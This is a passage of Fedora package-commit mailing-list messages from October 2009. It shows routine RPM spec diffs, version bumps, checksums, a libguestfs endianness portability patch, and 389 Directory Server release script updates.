+++ openoffice.org.spec	29 Oct 2009 17:53:40 -0000	1.2053
@@ -119,9 +119,9 @@ Patch45: openoffice.org-3.2.0.ooo105988.
 Patch46: openoffice.org-3.2.0.rhbz521460.svx.revert-paper-sizes-reordering.patch
 Patch47: openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch
 Patch48: workspace.impress178.patch
-Patch49: openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch
+Patch49: workspace.impress180.patch
 Patch50: workspace.gsminhibit.patch
-Patch51: openoffice.org-3.2.0.ooo90599.accelsequence.crash.patch
+Patch51: workspace.vcl107.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1630,9 +1630,9 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch46 -p1 -b .rhbz521460.svx.revert-paper-sizes-reordering.patch
 %patch47 -p0 -b .ooo106032.linguistic.defaulttoplain.patch
 %patch48 -p0 -b .workspace.impress178.patch
-%patch49 -p0 -b .ooo106130.svx.removedeletedshapes.patch
+%patch49 -p0 -b .workspace.impress180.patch
 %patch50 -p1 -b .workspace.gsminhibit.patch
-%patch51 -p1 -b .ooo90599.accelsequence.crash.patch
+%patch51 -p1 -b .workspace.vcl107.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`


--- openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch DELETED ---


--- openoffice.org-3.2.0.ooo90599.accelsequence.crash.patch DELETED ---



From pbrobinson at fedoraproject.org  Thu Oct 29 17:54:17 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu, 29 Oct 2009 17:54:17 +0000 (UTC)
Subject: rpms/moblin-icon-theme/F-12 .cvsignore, 1.4,
	1.5 moblin-icon-theme.spec, 1.6, 1.7 sources, 1.4, 1.5
Message-ID: <20091029175417.24C0611C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-icon-theme/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4916

Modified Files:
	.cvsignore moblin-icon-theme.spec sources 
Log Message:
- New upstream 0.9 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-icon-theme/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	12 Oct 2009 20:10:01 -0000	1.4
+++ .cvsignore	29 Oct 2009 17:54:16 -0000	1.5
@@ -1 +1 @@
-moblin-icon-theme-0.8.tar.bz2
+moblin-icon-theme-0.9.tar.bz2


Index: moblin-icon-theme.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-icon-theme/F-12/moblin-icon-theme.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- moblin-icon-theme.spec	12 Oct 2009 20:12:08 -0000	1.6
+++ moblin-icon-theme.spec	29 Oct 2009 17:54:16 -0000	1.7
@@ -1,5 +1,5 @@
 Name:          moblin-icon-theme
-Version:       0.8
+Version:       0.9
 Release:       1%{?dist}
 Summary:       Moblin icon theme
 
@@ -10,7 +10,7 @@ Source0:       http://git.moblin.org/cgi
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:     noarch
 
-Requires:      hicolor-icon-theme
+Requires:  hicolor-icon-theme
 BuildRequires: icon-naming-utils
 
 %description
@@ -79,6 +79,9 @@ fi
 %{_datadir}/icons/moblin
 
 %changelog
+* Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 0.9-1
+- New upstream 0.9 release
+
 * Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.8-1
 - New upstream 0.8 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-icon-theme/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	12 Oct 2009 20:10:01 -0000	1.4
+++ sources	29 Oct 2009 17:54:17 -0000	1.5
@@ -1 +1 @@
-6947e9a349338bcb1a63d319c5e7faaf  moblin-icon-theme-0.8.tar.bz2
+274d90eacf03ff99e9d3f56fe8af32e9  moblin-icon-theme-0.9.tar.bz2



From pbrobinson at fedoraproject.org  Thu Oct 29 17:57:49 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu, 29 Oct 2009 17:57:49 +0000 (UTC)
Subject: rpms/moblin-panel-myzone/devel .cvsignore, 1.9,
	1.10 moblin-panel-myzone.spec, 1.9, 1.10 sources, 1.9, 1.10
Message-ID: <20091029175749.B3D2C11C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-myzone/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6811

Modified Files:
	.cvsignore moblin-panel-myzone.spec sources 
Log Message:
- New upstream 0.0.12 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	16 Oct 2009 23:06:34 -0000	1.9
+++ .cvsignore	29 Oct 2009 17:57:49 -0000	1.10
@@ -1 +1 @@
-moblin-panel-myzone-0.0.11.tar.bz2
+moblin-panel-myzone-0.0.12.tar.bz2


Index: moblin-panel-myzone.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/devel/moblin-panel-myzone.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- moblin-panel-myzone.spec	16 Oct 2009 23:06:34 -0000	1.9
+++ moblin-panel-myzone.spec	29 Oct 2009 17:57:49 -0000	1.10
@@ -1,5 +1,5 @@
 Name:           moblin-panel-myzone
-Version:        0.0.11
+Version:        0.0.12
 Release:        1%{?dist}
 Summary:        Moblin Panel for MyZone
 
@@ -78,6 +78,9 @@ rm -rf %{buildroot}
 %{_libdir}/libpenge.so
 
 %changelog
+* Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.12-1
+- New upstream 0.0.12 release
+
 * Fri Oct 16 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.11-1
 - New upstream 0.0.11 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	16 Oct 2009 23:06:34 -0000	1.9
+++ sources	29 Oct 2009 17:57:49 -0000	1.10
@@ -1 +1 @@
-304052ddb7cc5e3dbabbb9e5ab2fb5cb  moblin-panel-myzone-0.0.11.tar.bz2
+a72a2aea02db2cff388665bebe42e15c  moblin-panel-myzone-0.0.12.tar.bz2



From rjones at fedoraproject.org  Thu Oct 29 17:57:58 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 29 Oct 2009 17:57:58 +0000 (UTC)
Subject: rpms/libguestfs/EL-5
	0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch,
	NONE, 1.1 libguestfs.spec, 1.73, 1.74
Message-ID: <20091029175758.1E81A11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6838

Modified Files:
	libguestfs.spec 
Added Files:
	0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch 
Log Message:
- Pull in upstream patch to fix missing endianness functions on RHEL 5.


0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch:
 configure.ac     |    2 +-
 hivex/hivex.c    |   31 ++++++++++++++++++++++++++++++-
 hivex/hivexget.c |    2 ++
 hivex/hivexml.c  |    3 ++-
 4 files changed, 35 insertions(+), 3 deletions(-)

--- NEW FILE 0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch ---
>From a4e27cdf4d3b831792dd20d796dc98a5bc684290 Mon Sep 17 00:00:00 2001
From: Richard Jones <rjones at redhat.com>
Date: Thu, 29 Oct 2009 17:54:48 +0000
Subject: [PATCH] RHEL 5: Detect endianness functions and supply them.

---
 configure.ac     |    2 +-
 hivex/hivex.c    |   31 ++++++++++++++++++++++++++++++-
 hivex/hivexget.c |    2 ++
 hivex/hivexml.c  |    2 ++
 4 files changed, 35 insertions(+), 2 deletions(-)

diff --git a/configure.ac b/configure.ac
index a235a06..709b1b7 100644
--- a/configure.ac
+++ b/configure.ac
@@ -123,7 +123,7 @@ dnl Check sizeof long.
 AC_CHECK_SIZEOF([long])
 
 dnl Headers.
-AC_CHECK_HEADERS([errno.h sys/types.h sys/un.h sys/wait.h sys/socket.h])
+AC_CHECK_HEADERS([errno.h sys/types.h sys/un.h sys/wait.h sys/socket.h endian.h byteswap.h])
 
 dnl Check for rpcgen and XDR library.  rpcgen is optional.
 AC_CHECK_PROG([RPCGEN],[rpcgen],[rpcgen],[no])
diff --git a/hivex/hivex.c b/hivex/hivex.c
index 16be753..85d6c7b 100644
--- a/hivex/hivex.c
+++ b/hivex/hivex.c
@@ -18,11 +18,12 @@
  * See file LICENSE for the full license.
  */
 
+#include <config.h>
+
 #include <stdio.h>
 #include <stdlib.h>
 #include <stdint.h>
 #include <string.h>
-#include <endian.h>
 #include <fcntl.h>
 #include <unistd.h>
 #include <errno.h>
@@ -30,6 +31,34 @@
 #include <sys/mman.h>
 #include <sys/stat.h>
 #include <assert.h>
+#ifdef HAVE_ENDIAN_H
+#include <endian.h>
+#endif
+#ifdef HAVE_BYTESWAP_H
+#include <byteswap.h>
+#endif
+
+#if __BYTE_ORDER == __LITTLE_ENDIAN
+#ifndef be32toh
+#define be32toh(x) __bswap_32 (x)
+#endif
+#ifndef be64toh
+#define be64toh(x) __bswap_64 (x)
+#endif
+#ifndef le32toh
+#define le32toh(x) (x)
+#endif
+#else
+#ifndef be32toh
+#define be32toh(x) (x)
+#endif
+#ifndef be64toh
+#define be64toh(x) (x)
+#endif
+#ifndef le32toh
+#define le32toh(x) __bswap_32 (x)
+#endif
+#endif
 
 #include "hivex.h"
 
diff --git a/hivex/hivexget.c b/hivex/hivexget.c
index 9bb6bbb..04c854f 100644
--- a/hivex/hivexget.c
+++ b/hivex/hivexget.c
@@ -16,6 +16,8 @@
  * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  */
 
+#include <config.h>
+
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
diff --git a/hivex/hivexml.c b/hivex/hivexml.c
index af3de9e..9dd394e 100644
--- a/hivex/hivexml.c
+++ b/hivex/hivexml.c
@@ -16,6 +16,8 @@
  * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  */
 
+#include <config.h>
+
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
-- 
1.6.5.rc2



Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/libguestfs.spec,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- libguestfs.spec	29 Oct 2009 17:26:40 -0000	1.73
+++ libguestfs.spec	29 Oct 2009 17:57:57 -0000	1.74
@@ -5,13 +5,17 @@ Summary:     Access and modify virtual m
 Name:        libguestfs
 Epoch:       1
 Version:     1.0.75
-Release:     1%{?dist}
+Release:     1%{?dist}.2
 License:     LGPLv2+
 Group:       Development/Libraries
 URL:         http://libguestfs.org/
 Source0:     http://libguestfs.org/download/%{name}-%{version}.tar.gz
 BuildRoot:   %{_tmppath}/%{name}-%{version}-%{release}-root
 
+# Next two lines should be removed in 1.0.76:
+Patch0:      0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch
+BuildRequires: autoconf, automake, libtool, gettext-devel
+
 # Currently fails on PPC because:
 # "No Package Found for kernel"
 ExclusiveArch: %{ix86} x86_64
@@ -319,6 +323,9 @@ Requires:    jpackage-utils
 %prep
 %setup -q
 
+%patch0 -p1
+autoconf
+
 mkdir -p daemon/m4
 
 
@@ -564,11 +571,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1
+* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1.el5.2
 - New upstream release 1.0.75.
 - New library: libhivex.
 - New tools: virt-win-reg, hivexml, hivexget.
 - Don't require chntpw.
+- Pull in upstream patch to fix missing endianness functions on RHEL 5.
 
 * Tue Oct 20 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.74-1
 - New upstream release 1.0.74.



From kasal at fedoraproject.org  Thu Oct 29 17:58:45 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 17:58:45 +0000 (UTC)
Subject: rpms/perl-Business-ISBN/F-12 .cvsignore, 1.3,
	1.4 perl-Business-ISBN.spec, 1.5, 1.6 sources, 1.3, 1.4
Message-ID: <20091029175845.3165811C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Business-ISBN/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7394

Modified Files:
	.cvsignore perl-Business-ISBN.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Business-ISBN/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	24 Nov 2008 15:22:00 -0000	1.3
+++ .cvsignore	29 Oct 2009 17:58:43 -0000	1.4
@@ -1 +1 @@
-Business-ISBN-2.04_01.tar.gz
+Business-ISBN-2.05.tar.gz


Index: perl-Business-ISBN.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Business-ISBN/F-12/perl-Business-ISBN.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- perl-Business-ISBN.spec	26 Jul 2009 03:52:40 -0000	1.5
+++ perl-Business-ISBN.spec	29 Oct 2009 17:58:43 -0000	1.6
@@ -1,6 +1,6 @@
 Name:           perl-Business-ISBN
-Version:        2.04_01
-Release:        3%{?dist}
+Version:        2.05
+Release:        1%{?dist}
 Summary:        Perl module to work with International Standard Book Numbers
 
 Group:          Development/Libraries
@@ -58,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 2.05-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.04_01-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Business-ISBN/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	24 Nov 2008 15:22:00 -0000	1.3
+++ sources	29 Oct 2009 17:58:44 -0000	1.4
@@ -1 +1 @@
-80f11d0a9bb384f42d4728a23476754f  Business-ISBN-2.04_01.tar.gz
+944a2844711fa6ab1b079d8d2ef4cd75  Business-ISBN-2.05.tar.gz



From kasal at fedoraproject.org  Thu Oct 29 17:58:55 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 17:58:55 +0000 (UTC)
Subject: rpms/perl-Cache-Memcached/F-12 .cvsignore, 1.2,
	1.3 perl-Cache-Memcached.spec, 1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091029175855.20B5311C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Cache-Memcached/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7533

Modified Files:
	.cvsignore perl-Cache-Memcached.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Cache-Memcached/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	12 Jun 2009 10:52:46 -0000	1.2
+++ .cvsignore	29 Oct 2009 17:58:54 -0000	1.3
@@ -1 +1 @@
-Cache-Memcached-1.26.tar.gz
+Cache-Memcached-1.27.tar.gz


Index: perl-Cache-Memcached.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Cache-Memcached/F-12/perl-Cache-Memcached.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- perl-Cache-Memcached.spec	26 Jul 2009 04:04:55 -0000	1.2
+++ perl-Cache-Memcached.spec	29 Oct 2009 17:58:54 -0000	1.3
@@ -1,6 +1,6 @@
 Name:           perl-Cache-Memcached
-Version:        1.26
-Release:        4%{?dist}
+Version:        1.27
+Release:        1%{?dist}
 Summary:        Perl client for memcached
 
 Group:          Development/Libraries


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Cache-Memcached/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	12 Jun 2009 10:52:46 -0000	1.2
+++ sources	29 Oct 2009 17:58:54 -0000	1.3
@@ -1 +1 @@
-ff74342ce45fbb2115792b0d24d7ae8c  Cache-Memcached-1.26.tar.gz
+897dbe9b24b4f918e2368c987425797c  Cache-Memcached-1.27.tar.gz



From kasal at fedoraproject.org  Thu Oct 29 17:58:48 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 17:58:48 +0000 (UTC)
Subject: rpms/perl-Business-ISBN-Data/F-12 .cvsignore, 1.3,
	1.4 perl-Business-ISBN-Data.spec, 1.6, 1.7 sources, 1.3, 1.4
Message-ID: <20091029175848.1928611C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Business-ISBN-Data/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7418

Modified Files:
	.cvsignore perl-Business-ISBN-Data.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Business-ISBN-Data/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	24 Nov 2008 15:09:34 -0000	1.3
+++ .cvsignore	29 Oct 2009 17:58:46 -0000	1.4
@@ -1 +1 @@
-Business-ISBN-Data-20081020.tar.gz
+Business-ISBN-Data-20081208.tar.gz


Index: perl-Business-ISBN-Data.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Business-ISBN-Data/F-12/perl-Business-ISBN-Data.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- perl-Business-ISBN-Data.spec	26 Jul 2009 03:52:58 -0000	1.6
+++ perl-Business-ISBN-Data.spec	29 Oct 2009 17:58:47 -0000	1.7
@@ -1,6 +1,6 @@
 Name:           perl-Business-ISBN-Data
-Version:        20081020
-Release:        3%{?dist}
+Version:        20081208
+Release:        1%{?dist}
 Summary:        The data pack for Business::ISBN
 
 Group:          Development/Libraries
@@ -67,6 +67,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 20081208-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 20081020-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Business-ISBN-Data/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	24 Nov 2008 15:09:34 -0000	1.3
+++ sources	29 Oct 2009 17:58:47 -0000	1.4
@@ -1 +1 @@
-81e3b403f7bbdd77010f078d06a04548  Business-ISBN-Data-20081020.tar.gz
+e8edb53f04830344e20f61b02b6ed054  Business-ISBN-Data-20081208.tar.gz



From kasal at fedoraproject.org  Thu Oct 29 17:58:49 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 17:58:49 +0000 (UTC)
Subject: rpms/perl-Class-Accessor/F-12 .cvsignore, 1.7,
	1.8 perl-Class-Accessor.spec, 1.13, 1.14 sources, 1.7, 1.8
Message-ID: <20091029175849.A923211C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Class-Accessor/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7467

Modified Files:
	.cvsignore perl-Class-Accessor.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Class-Accessor/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	27 Jul 2007 20:23:59 -0000	1.7
+++ .cvsignore	29 Oct 2009 17:58:49 -0000	1.8
@@ -1,2 +1 @@
-Class-Accessor-0.30.tar.gz
-Class-Accessor-0.31.tar.gz
+Class-Accessor-0.34.tar.gz


Index: perl-Class-Accessor.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Class-Accessor/F-12/perl-Class-Accessor.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- perl-Class-Accessor.spec	26 Jul 2009 04:20:14 -0000	1.13
+++ perl-Class-Accessor.spec	29 Oct 2009 17:58:49 -0000	1.14
@@ -1,6 +1,6 @@
 Name:           perl-Class-Accessor
-Version:        0.31
-Release:        6%{?dist}
+Version:        0.34
+Release:        1%{?dist}
 Summary:        Automated accessor generation
 Group:          Development/Libraries
 License:        GPL+ or Artistic
@@ -43,6 +43,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 0.34-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.31-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Class-Accessor/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	27 Jul 2007 20:23:59 -0000	1.7
+++ sources	29 Oct 2009 17:58:49 -0000	1.8
@@ -1 +1 @@
-d13df2381878ccdb847c23ab6af7e4fa  Class-Accessor-0.31.tar.gz
+0d9640d237a13276145f7e44b4855b89  Class-Accessor-0.34.tar.gz



From rmeggins at fedoraproject.org  Thu Oct 29 17:59:59 2009
From: rmeggins at fedoraproject.org (Richard Allen Megginson)
Date: Thu, 29 Oct 2009 17:59:59 +0000 (UTC)
Subject: rpms/389-ds-base/F-10 .cvsignore, 1.4, 1.5 389-ds-base-git-local.sh,
	1.1, 1.2 389-ds-base-git.sh, 1.2, 1.3 389-ds-base.spec, 1.6,
	1.7 sources, 1.5, 1.6
Message-ID: <20091029175959.EDCC711C00E5@cvs1.fedora.phx.redhat.com>

Author: rmeggins

Update of /cvs/extras/rpms/389-ds-base/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7978/F-10

Modified Files:
	.cvsignore 389-ds-base-git-local.sh 389-ds-base-git.sh 
	389-ds-base.spec sources 
Log Message:
1.2.4 release
resolves bug 221905 - added support for Salted MD5 (SMD5) passwords - primarily for migration
resolves bug 529258 - Make upgrade remove obsolete schema from 99user.ldif
tracking bug - https://bugzilla.redhat.com/show_bug.cgi?id=531879



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-10/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	7 Oct 2009 15:42:34 -0000	1.4
+++ .cvsignore	29 Oct 2009 17:59:59 -0000	1.5
@@ -1 +1,2 @@
 389-ds-base-1.2.3.tar.bz2
+389-ds-base-1.2.4.tar.bz2


Index: 389-ds-base-git-local.sh
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-10/389-ds-base-git-local.sh,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 389-ds-base-git-local.sh	7 Oct 2009 15:42:34 -0000	1.1
+++ 389-ds-base-git-local.sh	29 Oct 2009 17:59:59 -0000	1.2
@@ -2,14 +2,18 @@
 
 DATE=`date +%Y%m%d`
 # use a real tag name here
-TAG=389-ds-base-1.2.3
-VERSION=1.2.3
+VERSION=1.2.4
 PKGNAME=389-ds-base
+TAG=$PKGNAME-$VERSION
 #SRCNAME=$PKGNAME-$VERSION-$DATE
 SRCNAME=$PKGNAME-$VERSION
 
 echo you must be in the ds git repo to use this
-git status > /dev/null || echo bye
+test -d .git || {
+    echo bye
+    exit 1
+}
+
 if [ -z "$1" ] ; then
 	dir=.
 else


Index: 389-ds-base-git.sh
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-10/389-ds-base-git.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- 389-ds-base-git.sh	12 Aug 2009 19:46:53 -0000	1.2
+++ 389-ds-base-git.sh	29 Oct 2009 17:59:59 -0000	1.3
@@ -2,10 +2,10 @@
 
 DATE=`date +%Y%m%d`
 # use a real tag name here
-TAG=389-ds-base-1.2.1
-VERSION=1.2.1
+VERSION=1.2.4
 PKGNAME=389-ds-base
-export CVSROOT=:pserver:anonymous at cvs.fedoraproject.org:/cvs/dirsec
+TAG=$PKGNAME-$VERSION
+#export CVSROOT=:pserver:anonymous at cvs.fedoraproject.org:/cvs/dirsec
 #SRCNAME=$PKGNAME-$VERSION-$DATE
 SRCNAME=$PKGNAME-$VERSION
 


Index: 389-ds-base.spec
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-10/389-ds-base.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- 389-ds-base.spec	7 Oct 2009 15:42:34 -0000	1.6
+++ 389-ds-base.spec	29 Oct 2009 17:59:59 -0000	1.7
@@ -3,7 +3,7 @@
 
 Summary:          389 Directory Server (base)
 Name:             389-ds-base
-Version:          1.2.3
+Version:          1.2.4
 Release:          1%{?dist}
 License:          GPLv2 with exceptions
 URL:              http://port389.org/
@@ -265,6 +265,11 @@ end
 %{_libdir}/%{pkgname}/*.so
 
 %changelog
+* Thu Oct 29 2009 Rich Megginson <rmeggins at redhat.com> - 1.2.4-1
+- 1.2.4 release
+- resolves bug 221905 - added support for Salted MD5 (SMD5) passwords - primarily for migration
+- resolves bug 529258 - Make upgrade remove obsolete schema from 99user.ldif
+
 * Mon Sep 14 2009 Rich Megginson <rmeggins at redhat.com> - 1.2.3-1
 - 1.2.3 release
 - added template-initconfig to %files


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-10/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	7 Oct 2009 15:42:34 -0000	1.5
+++ sources	29 Oct 2009 17:59:59 -0000	1.6
@@ -1 +1,2 @@
 1a21a7490d71a585025af657ee133790  389-ds-base-1.2.3.tar.bz2
+291f1fb511419beb8ea4e04d0065e8f7  389-ds-base-1.2.4.tar.bz2



From rmeggins at fedoraproject.org  Thu Oct 29 18:00:01 2009
From: rmeggins at fedoraproject.org (Richard Allen Megginson)
Date: Thu, 29 Oct 2009 18:00:01 +0000 (UTC)
Subject: rpms/389-ds-base/F-12 .cvsignore, 1.4, 1.5 389-ds-base-git-local.sh,
	1.1, 1.2 389-ds-base-git.sh, 1.2, 1.3 389-ds-base.spec, 1.9,
	1.10 sources, 1.5, 1.6
Message-ID: <20091029180001.4CCAE11C00E5@cvs1.fedora.phx.redhat.com>

Author: rmeggins

Update of /cvs/extras/rpms/389-ds-base/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7978/F-12

Modified Files:
	.cvsignore 389-ds-base-git-local.sh 389-ds-base-git.sh 
	389-ds-base.spec sources 
Log Message:
1.2.4 release
resolves bug 221905 - added support for Salted MD5 (SMD5) passwords - primarily for migration
resolves bug 529258 - Make upgrade remove obsolete schema from 99user.ldif
tracking bug - https://bugzilla.redhat.com/show_bug.cgi?id=531879



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	7 Oct 2009 15:42:35 -0000	1.4
+++ .cvsignore	29 Oct 2009 18:00:00 -0000	1.5
@@ -1 +1,2 @@
 389-ds-base-1.2.3.tar.bz2
+389-ds-base-1.2.4.tar.bz2


Index: 389-ds-base-git-local.sh
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-12/389-ds-base-git-local.sh,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 389-ds-base-git-local.sh	7 Oct 2009 15:42:35 -0000	1.1
+++ 389-ds-base-git-local.sh	29 Oct 2009 18:00:00 -0000	1.2
@@ -2,14 +2,18 @@
 
 DATE=`date +%Y%m%d`
 # use a real tag name here
-TAG=389-ds-base-1.2.3
-VERSION=1.2.3
+VERSION=1.2.4
 PKGNAME=389-ds-base
+TAG=$PKGNAME-$VERSION
 #SRCNAME=$PKGNAME-$VERSION-$DATE
 SRCNAME=$PKGNAME-$VERSION
 
 echo you must be in the ds git repo to use this
-git status > /dev/null || echo bye
+test -d .git || {
+    echo bye
+    exit 1
+}
+
 if [ -z "$1" ] ; then
 	dir=.
 else


Index: 389-ds-base-git.sh
===================================================================
